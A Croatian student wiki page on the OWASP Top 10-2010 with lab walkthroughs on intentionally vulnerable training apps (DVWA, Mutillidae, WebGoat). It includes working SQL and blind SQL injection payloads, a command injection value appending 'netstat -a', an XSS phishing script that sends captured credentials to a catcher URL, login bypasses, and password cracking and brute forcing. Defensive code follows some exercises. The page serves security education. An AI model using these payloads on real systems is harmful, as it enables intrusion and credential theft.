OWASP Top 10: Problemi autentikacije, kriptografije i referenci koda

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Tim: Ivan Marković, Franjo Špejić, Mladen Meštrić, Tomislav Matijak


Sadržaj

Uvod

Iz dana u dan sve češće možemo pročitati da poduzeća muku muče sa hakerima koji im probijaju sustav i rade neopisive štete. Posljednji takav primjer je Sony gdje su hakeri napravili veliku štetu. Upravo zbog toga se razvio OWASP. Organizacije su sa OWASP-om dobile jako puno, dobile su mogućnost naučiti i pripremiti se za prijetnje kojima su svakodnevno izložene, dobili su mogućnost, na temelju toga, školovati stručnjake kako bi prijetnje sveli na minimum, jer nitko ne može garantirati potpunu sigurnost. OWASP je relativno mlad, ali svojom pojavom je spasio mnoge organizacije, a svojom predanošću iz dana u dan postaje sve bolji. Kako će se sve više i više koristiti internet kao sredstvo poslovanja, tako će organizacije biti sve češće metom napada. Kako će tehnologija napredovati, otvorit će se novi oblici napada koji su možda nama sad nezamislivi, a time će napadači biti sve pametniji, što će uvelike otežati posao onima koji se bave sigurnošću. Uvijek će postojati borba hakera i organizacija, te je samo pitanje tko će spremniji ući u bitku. Ipak bi u toj borbi dao malu prednost napadačima jer je u ovom slučaju lakše napadati nego se braniti, a ako je netko zapeo da napravi neku štetu, bez obzira na sve, vrlo vjerojatno će u tome uspjeti, jer je ne moguće pokrpati sve rupe brzinom kojom ih napadač otkriva.
--Franjo.spejic 15:32, 5. siječnja 2012. (CET)


OWASP Top 10

OWASP (The Open Web Application Security Project) Top 10 ima za cilj, kako oni sami kažu, povećati svjesnost o sigurnosti aplikacija, a to se postiže tako da se identificiraju najkritičniji rizici s kojima se svaka organizacija susreće . Tu ne bih uključio samo organizacije, već bi tu uključio i sve koji imaju doticaje sa internetom, bilo da ga koriste za zabavu, bilo da ga koriste za posao, jer svi možemo biti meta istog napada. Ono što je bitno naglasiti za OWASP, a kako oni sami kažu, je to da OWASP ne nudi rješenje kako neki sigurnosni problem riješiti, već upućuje na moguće rizike sa kojima se organizacije mogu suočiti i potiče školovanje i zapošljavanje stručnjaka iz tog područja kako bi se organizacije koliko toliko uspjele zaštiti od napada putem interneta. Također nudi i praktične primjere loših aplikacija i mehanizama kako bi se postigla svjesnost da ako već idemo nešto raditi, da radimo kako spada, a ne da se kupuje ili isporučuje polovični proizvod. Kako bi to bilo dostupno svima i kako bi svi bili svjesni opasnosti koja nam prijeti na internetu, OWASP besplatno nudi:

OWASP Top 10 se prvi put pojavio 2003. godine, da bi 2004. godine doživio male izmjene. Takav se zadržao do 2007. godine, kad je doživio značajnije promjene. Najnovija verzija OWASP Top 10 je izašla 2010. godine kada su novi sigurnosni rizici postali velika prijetnja organizacijama.
--Franjo.spejic 15:32, 5. siječnja 2012. (CET)


OWASP Top 10-2010

OWASP Top 10-2010 predstavlja 10 najkritičnijih web aplikacijskih sigurnosnih rizika, a obuhvaća:

  1. Injection
  2. Cross-Site Scripting(XSS)
  3. Broken Authentication and Session Managment
  4. Insecure Direct Object References
  5. Cross Site Request Forgery(CSRF)
  6. Security Misconfiguration
  7. Failure to Restrict URL Access
  8. Insecure Cryptographic Storage
  9. Insufficient Trasnport Layer Protection
  10. Unvalidated Redirects and Forwards

Potrebno je naglasiti da to nisu jedini rizici koji postoje. Postoji još mnogo drugih rizika koji su isto prijetnja, ali ovi su najučestaliji i od njih prijeti najveća opasnost. Također je potrebno naglasiti kako će napredovati tehnologija i znanje ljudi, pojavljivat će se i novi sigurnosni rizici, još opasniji i još teži za spriječiti, te ova lista nikako nije konačna i sa godinama će doživjeti značajne promjene.
--Franjo.spejic 15:32, 5. siječnja 2012. (CET)


Metodologija računanja rizika

U OWASP-u Top 10-2010 se prvi put pojavljuje metodologija izračuna rizika, dok su je u prijašnjim verzijama fokus bio samo na identificiranju ranjivosti. Prije nego što počnemo išta pisati o metodologiji, potrebno je naglasiti da svaka organizacija može sebi prilagoditi taj izračun, kako njoj odgovara, a temelji se na izračun koji će biti prikazan ovdje.

Razliciti putevi.gif

Slika ukazuje na to da napadač ima više puteva kroz koje može prolaziti prilikom izvršavanja napada, a svaki taj put ima svoj stupanj rizika, odnosno ovisi kojim putem napadač ide, rizik može biti veći ili manji, a to ovisi od organizacije do organizacije, te je zbog toga napomenuto da svaka organizacija prilagođava izračun rizika kako njoj odgovara. Na temelju toga radimo tablicu vjerojatnosti.

Rizici1.GIF

Vidimo da svaki stupac u tablici ima 3 stupnja vjerojatnosti ponderirana od 1 do 3, gdje 1 predstavlja najmanju vjerojatnost, a 3 najveću. Na slici također vidimo primjer izračuna težine rizika. Ako uzmemo da je napadač išao putem kao što je prikazano na slici, a na tom putu je Attack Vector jednak1, Weakness Prevalence jednak 2, Weakness Detectability jednak 2 i Tehical Impact jednak 1, to znači da je težina rizika jednaka 1.66 je po „defaultu“ niska razina rizika, ali kao što je više puta naglašeno, taj broj treba uzeti sa rezervom jer svaka organizacija sebi prilagođava izračun rizika. Kako se došlo do tog rezultata?
Razina rizika=((AttackVector+WeaknessPrevalence+WeaknessDetectability)/3)*TehnicalImpact

U našem slučaju: Razina rizika= ((1+2+2)/3)*1=1,66

Vjerojatnost.gif

Ako je dobivena razina rizika od 0-2.9, tada je rizik malen, ako je razina rizika od 3-5.9, tada je rizik srednji, a ako je razina rizika od 6-9, tada je rizik visok.
--Franjo.spejic 16:14, 5. siječnja 2012. (CET)


OWASP Top 10 2007 vs. OWASP Top 10 2010

2010vs2007.GIF

Sa slike vidimo da postoji dosta značajnih promjena. Tako vidimo da se u odnosu na 2007. godinu Injection pomakao na prvo mjesto, a također su napredovali Broken Authentication and Session Managment, Insecure Cryptographic Storage i Failure to Restrict URL Access. Malicious File Execution koji je bio na trećem mjestu u OWASP Top 10-2007 i Information Leakage and Improper Error Handling koji je bio na šestom mjestu, su izostavljeni u OWASP Top 10-2010. Također, XSS je pao na drugo mjesto, a dodana su i dva nova rizika, Unvalidated Redirects and Forwards i to na deseto mjesto, te Security Misconifiguration i to na dosta visoko šesto mjesto. Vidimo da postoji dosta velika razlika između 2007. godine i 2010. godine, što samo potkrepljuje tvrdnju da će iz godine u godinu nastajati novi rizici koji će stvarati probleme, te će se na temelju toga i OWASP Top 10 mjenjati. Napadači će postajati sve opasniji i opasniji, te će oni koji se bave sigurnošću morati biti u koraku sa njima, ukoliko žele rizike svesti na minimum, jer potpunu sigurnost nam nitko nikada ne može jamčiti, niti će ikada moći.
--Franjo.spejic 16:19, 5. siječnja 2012. (CET)


OWASP Top 10: Problemi autentikacije, kriptografije i referenci koda

Problem autentikacije

Problem autentikacije je jedna od najvažnijih stvari u sigurnosti web aplikacija, te je to dosta bitno naglasiti. Pukotine koje ovdje nastaju najčešće se odnose na nemogućnst zaštite korisničkih podataka i session tokena. To dovodi do toga da napadači kradu račune od korisnika ili samih administratora te tako narušavaju privatnost i rade kaznena dijela. Napadači ne moraju nužno biti anonimni vanjski subjekti, mogu to biti sasvim legalni korisnici koji koriste određene propuste kako bi zamaskirali svoje djelovanje ili došli do viših razina privilegija. Najčešći uzrok ovih nedostataka je naravno ljudska greška, odnosno nedovoljna razina znanja pri implementiranju vlastitih sustava provjere korisnika. Kada se razvijaju vlastiti sustavi često se nešto previdi te ostavi sigurnosnu rupu.
Jesmo li ranjivi?

Kako se obraniti od toga?

--Franjo.spejic 19:26, 5. siječnja 2012. (CET) --Mladen.mestric 18:48, 6. siječnja 2012. (CET)


Problem kriptografije

Problem kriptografije se događa kada aplikacija svoje podatke ne kriptira sigurno kada su pohranjeni u bazu podataka. To je čest slučaj, pa se događa da napadači vrlo lako mogu doći do osjetljivih podataka i manipulirati njima. Najčešće greške koje vode nesigurnoj kriptografiji:

Jesmo li ranjivi?

Kako se obraniti od toga?

--Franjo.spejic 19:59, 5. siječnja 2012. (CET)

Problem referenci koda

Problem referenci koda se događa kad developer, preko URL-a ostavi referencu na unutrašnji objekt, kao što je file, direktorij, ključ. Tada napadač može pristupiti tim objektima bez autorizacije i manipulirati njima. Jesmo li ranjivi?

Kako se obraniti?

--Franjo.spejic 20:37, 5. siječnja 2012. (CET)



Praktični dio

Injection (A1)

SQL Injection je način kojim se napadač koristi kako bi pomoću forme za unos koja nije dovoljno dobro zaštićena iskoristio ranjivost sustava, tako što koristi tu formu kako bi izvršavala SQL naredbe koje on želi. Za ovu vrstu napada dovoljan je obični web preglednik, te otvoreni port 80 na poslužitelju, i naravno baza, te forma za unos. Posljedice koje su uzrokovane ovom vrstom napada na sustav su velike i najčešće rezultiraju kopiranjem cijele baze napadaču čime on dobiva sve ili skoro sve podatke o korisnicima, ovisno koliko se potrudi, tj. koliko podataka mu je potrebno. To može biti username i/ili password, ili samo ubacivanje (update) napadačeve email adrese umjesto postojeće email adrese korisnika kako bi se privremena lozinka poslala na napadačev email i time je već osigurao ulaz u sustav. U praktičnom dijelu biti će prikazan SQL injection i SQL blind injection na DVWA aplikaciji. Razlika između "običnog" i blind sql injection-a je u tome što web aplikacije koje žele barem malo otežati posao napadaču ne prikazuju rezultat injectiona, dok se kod "običnog" vidi odgovor (error) za svaki krivi unos, tj. upit i time se može olakšati pogađanje nekih informacija poput imena tablice, stupaca, itd. Zbog toga je ponekad potrebno dosta vremena potrošiti na početno pogađanje točnog upita, ali aplikacija je i dalje jednako ranjiva jednom kada se pronađe/pogodi koristan podatak.

SQL Injection


I1 proba.PNG


I proba3.PNG


Na ovim slikama vidimo unošenje ID-a, 1 i 3, te ispis imena i prezimena koji pripadaju tom ID-u, aplikacije je namijenjena da se tako koristi. Kroz sljedeće primjere biti će isprobani razni upiti kako bi se provjerilo kako izgleda upit, te što "prolazi", a što ne.

1 je ok.PNG


1 i 2 prosli.PNG


"Ranjivi" upit.

Low injection.PNG


Pokušaj "pogađanja", tj. ispitivanja upita da vidimo gdje se nalazimo.

Pokusaj s a.PNG


Ovaj odgovor nam daje do znanja da se ne radi o "blind" sql injectionu, što nam olakšava daljnji rad.

Nepoznati a.PNG


Primjer s "proba" koji naravno ne prolazi

Proba proba.PNG


(još jedan primjer odgovora)

Proba s probom.PNG



Također, možemo pokušati saznati neke informacije o serveru kako bi si dodatno olakšali upad, tako možemo pokušati saznati tko je user, ili npr. kako se zove baza. To je prikazano na sljedeća dva screenshot-a.

Znamo tko je user.PNG


Znamo ime baze.PNG


Sada najprije idemo probati pronaći neke "korisne tablice". Za to treba pogledati u "information_schema" bazu sačinjenu od nekoliko read-only tablica, koja sadrži podatke o podacima, u njoj se nalaze podaci poput imena baza koje se nalaze na MySQL serveru , tipovi podataka stupaca, prava pristupa itd. Sljedećim upitom ćemo dobiti sve !=sql baze na serveru i pokušati pronaći nešto zanimljivo.

Tablica useri.PNG


Ovim upitom se dobije veliki ispis pa je potrebno potražiti neka zanimljiva imena tablica, i tako se pronađe tablica koja se zove "users" što će nam kasnije uvelike pomoći. Sada je bitno pokušati dobiti nazive stupaca u toj tablici kako bi znali pronaći druge korisne podatke. Zbog toga ponovno koristimo information_schemu-u ovaj puta sa .columns i time ćemo dobiti okvirni izgled tablice users.

Imena stupaca.PNG


Sada kada znamo kako su podaci spremljeni, jednostavno možemo sljedećim upitom zatražiti ispis podataka koje želimo. Ovdje smo ispisali "username" i "password", ali ne čisti password, već njegov hash.

Znamo username i password.PNG


Pogled u bazu, i vidimo da je dobiveni ispis točan. (ovo inače ne možemo raditi ako stvarno napadamo, ovo je samo provjera da je upit stvarno napravljen)

Usporedba s bazom je ok.PNG


Sada kada imamo username i hash-ove passworda, potrebno je razbiti hash kako bi doznali passworde. To možemo raditi na više načina. Najbrže je koristiti neku web stranicu kako bi eliminirali passworde koji se ponavljaju, a i smanjiti ćemo si vrijeme potrošeno na brute force i dictionary probijanje passworda, ukoliko je taj password već korišten prije, i postoji na web-u.
Za početak koristili smo ovu web stranicu[1] kako bi pronašli neke password-e

Reverse md5.PNG


Ako password ne možemo pronaći ovako, što je dosta vjerojatno, možemo se baciti na brute force i dictionary napade. Za brute force sko koristili alat John the Ripper, ali ga nismo pustili do kraja jer mu je trebalo nešto više od 3 dana za sve moguće kombinacije, screenchot John-a možete vidjeti ovdje:

John.PNG


Budući da John nije htio raditi sa našim rječnicima, za to smo uposlili Cain-a koji je računao hash-eve riječi iz ova 4 rječnika (3 s weba, 1 sa wikija ovog kolegija- broj u imenu označava broj riječi u svakom rječniku)

Rjecnici.PNG


Cain dictionary attack:

All all.PNG



Pronađeni passwordi:

4 od 5.PNG



Budući da smo znali passworde, nismo uključili sve opcije koje Cain nudi, već samo onu najosnovniju (passwordi su bili u rječnicima), ali ukoliko bi se radilo o nepoznatim passwordima, bilo bi potrebno koristiti i sljedeće mogućnosti:



SQL Injection (Blind)

Blind upit izgleda malo drugačije zbog dvije razlike, prva je što nema "or die" kako bi se izbjegle mysql greške, a drugi je dodani znak "@" koji ne dozvoljava ispis grešaka i čini blind injection (mogućim/ostvarivim). Osim navedenog, u *.php-u koji omogućava blind sql injection, koristi se i funkcija mysql_real_escape_string() koja dodaje \ na početak sljedećih stringova \x00, \n, \r, \, ', " i \x1a, te ju je potrebno koristiti svaki puta prije slanja upita.

"obični":

Nije blind.PNG

Blind:

Blind.PNG


Blind7.PNG

Sljedeća 2 screenshot-a pokazuju izgled i dva primjera početnog testiranja forme za unos:

Blind1.PNG


Blind2.PNG


Kao i u prethodnom primjeru, cilj na je pronaći korisne informacije, nešto od čega bi krenuli dalje "kopati" po bazi, ali je otežano jer nemamo povratnu informaciju o našem upitu sve dok ne postavimo točan upit.

Za početak možemo pokušati saznati verziju mysql-a:

Blind verzija.PNG


a osim naredbe version, možemo koristiti i:



Netočan upit:

2 je 0 ne prolazi.PNG



Nema odgovora:

Blind 4.PNG



Zatim je potrebno sastaviti upit koji će dati odgovor iz kojega bi mogli pronaći nešto što bi nam koristilo. Zato smo ponovno koristili information.schema tablicu, ali ovaj puta uz .tables i tako dobili ispis sadržanih tablica. Nakon kraćeg pregleda, ponovno je lako uočiti tablicu "users", te će nam sljedeći koraci biti pookušati to iskoristiti.

Blind imamo user tablicu.PNG


Jos jednom useri.PNG



Sada kada smo prinašli tablicu s korisnicima, cilj nam je izvući iz nje podatke, a za to nam je ponovno potreban izgleda tablice, tj. imena stupaca.

Stupci.PNG


Te na kraju ponovno dođemo do korisničkih imena i lozinki kao i u prethodnom primjeru, te pokušamo iz hash-a dobiti passworde.

Pass.PNG


--Tmatijak 20:02, 6. siječnja 2012. (CET)


U većini ovih demonstracija koristiti će se kao osnovni software xampp sa Apache 2.2.21 web poslužiteljem te MySQL 5.5.16 poslužiteljem baze podataka, na poslužitelju se nalazi Mutillidae, te OWASP Mantra web preglednik.

Generalno xampp.JPG

OWASP Mantra je web preglednik koji se zasniva na Mozilla Firefox pregledniku na koji su dodane ekstenzije koje mogu biti korisne prilikom penetracijskog testiranja. Mutillidae je pak web aplikacija koja se koristi za edukacijske svrhe, za vježbanje otkrivanja slabosti, ili za vježbanje hakiranja u kontroliranom okruženju.

Generalno mantra mutillidae.JPG


--Mladen.mestric 00:42, 6. siječnja 2012. (CET)

WebGoat lekcije

Command Injection

U ovoj lekciji je potrebno izvršiti ubacivanje naredbe u aplikaciju. Ova aplikacija izvršava naredbe u command promptu pa joj možemo, proslijedivanjem traženog unosa proslijediti naredbu[Slika1].

Slika1
Slika1

Vrijednost koju šaljemo serveru možemo mijenjati presretanjem HTTP poruke pomoću alata WebScarab koji obavlja ulogu proxya[Slika2]. Vrijednost polja 'HelpFile' dodajemo payload tako da konačna vrijednost izgleda ovako: AccessControlMatrix.help" & netstat -a. Navodnicima se završava ime datoteke a znakom '&' dodajemo svoju novu naredbu 'netstat -a' koja izlistava sve TCP i UDP konekcije[Slika3].


Slika2
Slika2
Slika3
Slika3



Blind SQL Injection

Iduća lekcija je Blind Injection. Aplikaciji je zadaća provjera valjanosti broja računa. U polje za unos je omogućen unos broja računa. Nakon provjere, aplikacija ispisuje je li račun valjan ili nije. SQL naredba koju aplikacija koristi je:

"SELECT * FROM user_data WHERE userid = "+accountNumber.

Zadatak je saznati ime korisnika računa 15613. Kako nam aplikacija vraća samo bool vrijednosti, ime možemo dobiti samo ako pogađamo slovo po slovo. U accountNumber ćemo upisati

101 AND (ascii(substr((SELECT first_name FROM user_data WHERE userid=15613),1,1))<77);

Time smo u već postojeću SQL sintaksu ubacili dodatni uvjet gdje za prvo slovo imena korisnika koji ima broj računa 15613 ispitujemo dali ima ascii vrijednost manju od 77. Ako nam aplikacija vrati istinu, to znači da je prvo slovo između A-L. Kombinirajući druge ascii vrijednosti s <,>,= operatorima, možemo dobiti prvo slovo. Isti postupak ponavljamo za sva slova. Na kraju se dobije Joesph.

Numeric SQL Injection

U ovoj lekciji je cilj dobiti podatke u vremenu za sve gradove[Slika4]. SQL sintaksa glasi:

SELECT * FROM weather_data WHERE station =101
Slika4
Slika4

Ako ubacimo dodatak u SQL sintaksu svaki red u tablici rezultira pronađenim redom[Slika5]. Sintaksa na kraju izgleda 

SELECT * FROM weather_data WHERE station = 101 OR 1=1
Slika5
Slika5



String SQL Injection

Ova lekcija je slična prethodnoj s tim da se kao unos traži string. Ako se unese 'Smith' ispišu se podaci o tom imenu[Slika6]. String koji se unosi se nalazi među navodnicima pa prethodni injection (OR 1=1) ovdje ne funkcionira. Ako dodamo ovaj izraz: Smith' OR 'x'='x, završna SQL naredba će izgledati ovako: 

SELECT * FROM user_data WHERE last_name = 'Smith' or 'x'='x'.


Na taj način smo dobili podatke od svih korisnika[Slika7].

Slika7
Slika7



Zaštita od umetanja znakova

Kako bi se spriječilo umetanje znakova mogu se koristiti parametri umjesto korisničkih podataka u SQL naredbi. Umjesto

"SELECT * FROM employee WHERE userid = "+userid + " and password = '" + password + "'";
 upisujemo ovo

"SELECT * FROM employee WHERE userid = ? and password = ?";

Korištenjem 'PreparedStatement' klase omogućujemo brisanje meta-znakova unutar SQL naredbe pomoću JDBC drivera. Cijeli kod za sprječavanje bi mogao izgledati ovako

 String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
 try{
     Connection connection = WebSession.getConnection(s);
     PreparedStatement statement = connection.prepareStatement(query,ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
     statement.setString(1, userId);
     statement.setString(2, password);
     ResultSet answer_results = statement.executeQuery();
     ...


--Ivan.markovic 19:24, 6. siječnja 2012. (CET)

Cross site scripting (A2)

Cross site scripting ili XSS skraćeno je problem koji se javlja kada određena web stranica ili aplikacija ne provjerava podatke koje prima već ih samo prosljeđuje u web preglednik. Za jednostavan primjer XSS-a možemo uzeti jednostavnu web stranicu koja prikazuje podatke o korisniku koji pristupa web stranica.

Xss browserinfo.JPG


Tako na takvoj stranici imamo podatke poput preglednika koji je korisnik koristio, operacijskog sustava korisnika, hostname korisnika, IP adresu korisnika i slično. Korištenjem opet OWASP mantra-e, mutillidae i xampp-a može se demonstrirati jednostavan primjer XSS napada. Naime mantra omogućuje promjenu korisničkog agenta te tako krivo predstavljanje poslužitelju, što samo po sebi može bit korisno. No korisnija opcija je kreiranje vlastitog agenta, što pak omogućuje ubacivanje koda u same podatke o agentu. Dakle korištenjem mantre kreira se novi agent kojem u neko polje možemo ubaciti jednostavan kod, u ovom slučaju jednostavnu skriptu. Skripta koju koristimo u ovom jednostavnom primjeru je: <script>alert('sup! ovo je tehnicki xss')</script>.

Xss novi agent.JPG


Ta jednostavna skripta će izbaciti upozorenje sa odgovarajućim natpisom prilikom pokušaja očitavanja podataka korisnika. Naravno takva slabost omogućava zlonamjernom korisniku izvođenje proizvoljnog koda na poslužitelju.

Xss rezultat.JPG
--Mladen.mestric 00:42, 6. siječnja 2012. (CET)

Webgoat lekcije

"Phishing" s XSS-om

U ovoj lekciji aplikacija vrši pretraživanje i vraća rezultat. Ranjivost aplikacije je u tome što aplikacija ispiše korisnički unos nazad u preglednik kako bi javila za što je vršila pretraživanje. U tom slučaju unosimo html kod s formom gdje zahtjevamo od korisnika unos korisničkih podataka. S HTML-om dolazi i javascript kojim se mogu pokupiti uneseni podaci[Slika8].

Slika8
Slika8

Ako unesemo sljedeću skriptu u polje za unos, možemo preuzeti korisničke podatke unešene iz forme[Slika9] 

<script>
function xss(){
    alert("Username="+document.forms[0].elements["username"].value
    +"Password="+document.forms[0].elements["password"].value);
    XSSImage=new Image();
    XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user=
    "+document.forms[0].elements["username"].value+"&password="+document.forms[0].elements["password"].value;
}
</script>

<form>
<br><br>
<HR>
<H3>You need to login to continue: </H3>
<br><br>
Username:<input type="text" id="username" name="username"><br>
Password: <input type="password" name="password" id="password"><br>
<input type="submit" name="login" value="login" onclick="xss()">
</form>
Slika9
Slika9
Stored XSS

U ovoj aplikaciji je omogućeno ostavljanje poruke na serveru. Ukoliko se ne provjerava korisnički unos, moguće je ostaviti različit maliciozni kod. U ovom slučaju je ostavljen javascript kod koji izvršava alert s cookiem[Slika10 i Slika11].

Slika10
Slika10
Slika11
Slika11
Blokiranje Store XSS-a

XSS se može blokirati tako da se ispita korisnički unos. Za tu potrebu se može koristiti regex. U ovom slučaju se zajednički provjeravaju korisnički podaci. Dopuštaju se samo whitespace znakovi, slova i brojevi te znakovi '-' i ',' 

String regex = "[\\s\\w-,]*";
String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+
startDate+ccn+disciplinaryActionDate+
disciplinaryActionNotes+personalDescription;
Pattern pattern = Pattern.compile(regex);
validate(stringToValidate, pattern);


--Ivan.markovic 19:24, 6. siječnja 2012. (CET)

Broken authentication (A3)

Ovaj tip rizika omogućava nekom neautoriziranom korisniku da dobije pristup nekom resursu, odnosno preuzme identitet nekog drugog legitimnog korisnika sustava, te korištenjem tog identiteta dođe do podataka koji inače ne bi trebali biti njemu dostupni, odnosno nanese štetu samom sustavu. Korištenjem OWASP mantre, xampp servera te mutillidae mogu se demonstrirati određeni nedostatci prilikom korištenja samo lokalne provjere predanih podataka prilikom autentifikacije. Naime korištenjem običnog SQL injection-a odnosno izraza "='or'1=1", ukoliko ne postoje nikakve provjere, prolazi se najobičnija SQL provjera lozinke korisnika, na višoj razini sigurnosti kod koje se uvode zabrane, odnosno provjere takvog tipa izraza na strani korisnika, takve je provjere još uvijek moguće zaobići korištenjem raznih alata. Prvo međutim moramo biti sigurni da je provjera unosa na korisničkoj strani, to možemo vidjeti korištenjem Httpfox ekstenzije koja prati komunikaciju između poslužitelja i klijenta. Ukoliko nema provjere na strani korisnika prilikom unošenja određenih zabranjenih znakova doći će do komunikacije između klijenta i poslužitelja što se vidi iz sljedeće slike.

Auth httpfox.JPG


Ukoliko pak postoji lokalna provjera neće biti komunikacije između poslužitelja i klijenta, nego će se javiti poruka sa greškom koja upozorava na nedopuštene znakove kod prijave.

Auth lokalna provjera.JPG

Jednom kada potvrdimo da se provjerava prvo lokalno možemo preći na sljedeći korak. Korištenjem Tamper Data može se generirati upit prema serveru koji će zaobići lokalnu provjeru i opet korištenjem SQL injection-a riješiti autentifikaciju na server, ukoliko naravno ne postoji i provjera sa strane poslužitelja.

Auth tamper pocetni.JPG


Zaobilaženje lokalne provjere slanjem modificiranog zahtjeva direktno poslužitelju.

Auth tamper promjenjen.JPG


Još jedan mogući način zaobilaženja provjere korisnika je i jednostavan bruteforce napad, koji jednostavno isprobava sve moguće kombinacije, u lošijoj varijanti, dok u boljoj varijanti koristi rječnik često korištenih lozinki.

Auth fireforce brute.jpg


Takav napad ima određene nedostatke, poput generiranja velikog broja upita prema poslužitelju koje je relativno lako uočiti te blokirati adresu koja šalje takve upite. Za demonstriranje takvog napada opet je korišten xampp server na kojem se nalazila mutillidae, te ovaj put umjesto mantre običan Mozilla Firefox sa dodanom Fireforce ekstenzijom. Ta ekstenzija omogućava traženje lozinke za korisnička imena, bilo korištenjem rječnika ili raznim kombinacijama slova i brojeva. Korištenje rječnika je puno efikasniji i brži način napada. Za potrebe demonstracije korišten je manji rječnik sa samo 16 zapisa. Također je važno pogoditi dobar odgovor poslužitelja na pogrešan unos.

Auth fireforce rjecnik.JPG


Nakon provjere rječnika Fireforce ekstenzija dolazi do točne lozinke, naravno ukoliko se ona nalazi u rječniku, ukoliko je nema javlja samo poruku da lozinka nije pronađena.

Auth fireforce prosao.JPG


Naravno jednostavnom provjerom pronađene lozinke dobiva se pristup sustavu, naravno sa administratorskim privilegijama jer je ciljan točno taj korisnički račun.

Auth logged in.JPG
--Mladen.mestric 00:42, 6. siječnja 2012. (CET)

Webgoat lekcije

Lekcija 1- Jačina passworda

Jačina passworda je bitna, jer može napadaču uvelike otežati posao, ukoliko pokušava provaliti naš password, te se ne kaže uzalud da je naš account jak onoliko koliko je jak naš password. Ako uzmemo da nam je password abzfez i stavimo ga u secret code checker, vidimo da je password slab i da je potrebno samo 1394 sekunde, ili oko 23 minute da ga se probije. Na slici ispod vidimo različite tipove passworda i koliko je otprilike potrebno vremena da ih se probije. Vidimo da je password, koji sadrži mala i velika slova, brojke i specijalne znakove, najteže probiti. Tako da se probije password z8!E?7 treba otprilike 41 dan. To nas dovodi da zaključka da password treba biti što duži, da treba sadržavati i specijalne znakove i potrebno je biti lako pamtljiv.

Ss1.GIF

--Franjo.spejic 16:44, 5. siječnja 2012. (CET)


Lekcija 2- Povratak passworda

Gotovo svaka web stranica nudi mogućnost povratka izgubljenog passworda, ali je problem u tome što na većini tih stranica mehanizam koji to radi nije pravilno implementiran. Zbog toga je dosta jednostavno doći do passworda ostalih korisnika te manipulirati njihovim accountom. Na sljedećim slikama vidjet ćemo kako mehanizam radi i kako je loše implementiran.

Ss21.GIF
Ss22.GIF
Ss23.GIF

Na prvoj slici se traži da upišemo naš username, koji je u ovom slučaju webgoat, nakon što stisnemo na submit, prelazimo na stranicu gdje nas se traži da upišemo svoju najdražu boju, u ovom slučaju je naša najdrža boja je crvena. Odgovor na to pitanje odabiremo prilikom kreiranja accounta. Neke varijacije tih pitanja su Koji je naš najdraži učitelj?, Koja je naša najdraža grupa?. Nakon što smo točno odgovorili na to pitanje, dobivamo password pomoću kojeg se možemo logirati. Sada to isto možemo probati sa nekim drugim korisnikom, na primjer adminom sustava.

Ss24.GIF
Ss25.GIF

Nakon što smo pritisnuli submit, prebacuje nas na stranicu gdje nas pita koja je najdraža boja, te upisivajući različite boje naposljetku ćemo pogoditi pravu boju koja će nas odvesti do passworda koji ima admin.

Ss26.GIF

Na ovoj slici smo došli do passworda admina, a ako smo to na takav lagan način uspjeli napraviti, znači da je mehanizam loš i da je sve na toj stranici ugroženo. Moguća rješenja su da se svakom useru koji se registrira ponudi izbor odabira više pitanja, a ne na samo jedno ili da mu se ponudi mogućnost da napiše vlastito pitanje i odgovor. Još jedna od mogućnosti je da mu se password vrati na broj mobilnog telefona ili na neki drugi e-mail, a ne direktno, kao u ovom slučaju.
--Franjo.spejic 16:50, 5. siječnja 2012. (CET)


Lekcija 3- Provjera autentičnosti

Provjera autentičnosti služi kako bi se zaštitili resursi na serveru, odnosno da bi se zabranio pristup onima koji nemaju pravo pristupa serveru i resursima na serveru. Također, ovo je moguće zaobići ako mehanizam nije dobro implementiran, te se u nastavku pokazuje kako.
Prvo što nas ova lekcija traži je da upišemo ime authentication headera i vrijednost tog headera. Za ovu lekciju nam treba WebScarab, ili slični programi, koji nam pomažu da prihvaćamo sve pakete koji idu od servera i korisnika. Prvo što treba napraviti je pokrenuti WebScarab i omogućiti presretanje paketa. Nakon što smo to napravili pritisnemo submit i presretnemo paket.

Ss31.GIF

Paket koji smo presreli vidimo na slici ispod, te iz njega pronađemo header koji trebamo kako bi smo lekciju nastavili dalje. Taj header se zove Authorization i ima svoju vrijednost koja je kriptirana sa base64 encode. Ime headera upišemo u polje gdje se to traži, vrijednost tog headera moramo dekriptirati sa base64 decode.

Ss32.GIF

WebScarab u sebi ima taj decoder pa ga ja samo potrebno pokrenuti i pomoću njega dekodirati vrijednost headera Authorization. Kad ga dekodiramo dobijemo vrijednost guest:guest koji nam u ovom slučaju predstavlja username i password kojim smo trenutno prijavljeni.

Ss34.GIF

Kad smo upisali vrijednost headera Authoriztion, prvi korak je gotov i WebGoat nam javlja da smo prvi korak uspješno rješili i da sad razumijemo kako autentikacija funkcionira. Sada je potrebno proći korak 2, koji nam kaže da nas server mora autenticirati kao basic:basic, odnosno da smo prijavljeni kao korisnik basic sa passwordom basic.

Ss35.GIF

Prvi korak koji je potreban napravit je brisanje cachea i cookiesa, kako je nebi, kad ponovno kliknemo na tu vježbu, vadio je iz cachea, te kako bi obrisali cookie za prethodni session, jer prvo što se provjerava kod ponovnog učitavanja stranice je cookie.
Nako što smo obrisali cookie i cache, ponovno uključimo interception kako bi presreli pakete. Sada trebamo uvjeriti server da smo prijavljeni kao basic:basic. Učitamo ponovno stranicu, te iz paketa koji smo presreli tražimo headere Cookie i Authorization. Vidimo headera Cookie nemamo jer smo ga obrisali u web pregledniku. Kako nema headera Cookie, sljdeće što server gleda je header Authorization, koji se nalazi u ovom paketu i koji ima vrijednost guest:guest. Mi ne želimo da smo prijavljeni kao guest:guest, već želimo uvjeriti server da smo basic:basic.
Sljedeće što trebamo napraviti je corrupt vrijednosti Authorization, a to možemo napraviti izravno u WebScarabu. Vrijednost headera Authorization izmjenimo i kliknemo na accept changes kako bi takav paket poslali serveru. Server prima taj paket i vidi da nema Cookiea i da header Authorization nema valjanu vrijednost.

Ss38.GIF

Server nam onda šalje login screen i od nas traži username i password. Želimo se prijaviti kao basic:basic. Nakon pritiska na login presretnemo paket koji se šalje serveru.

Ss39.GIF

Vidimo da paket još nema header Cookie jer još nije kreiran, a header Authorization ima različitu vrijednost nego prije.

Ss310.GIF

Kada tu vrijednost dekodiramo, dobijemo da header Authorization ima vrijednost basic:basic, što i želimo.

Ss311.GIF

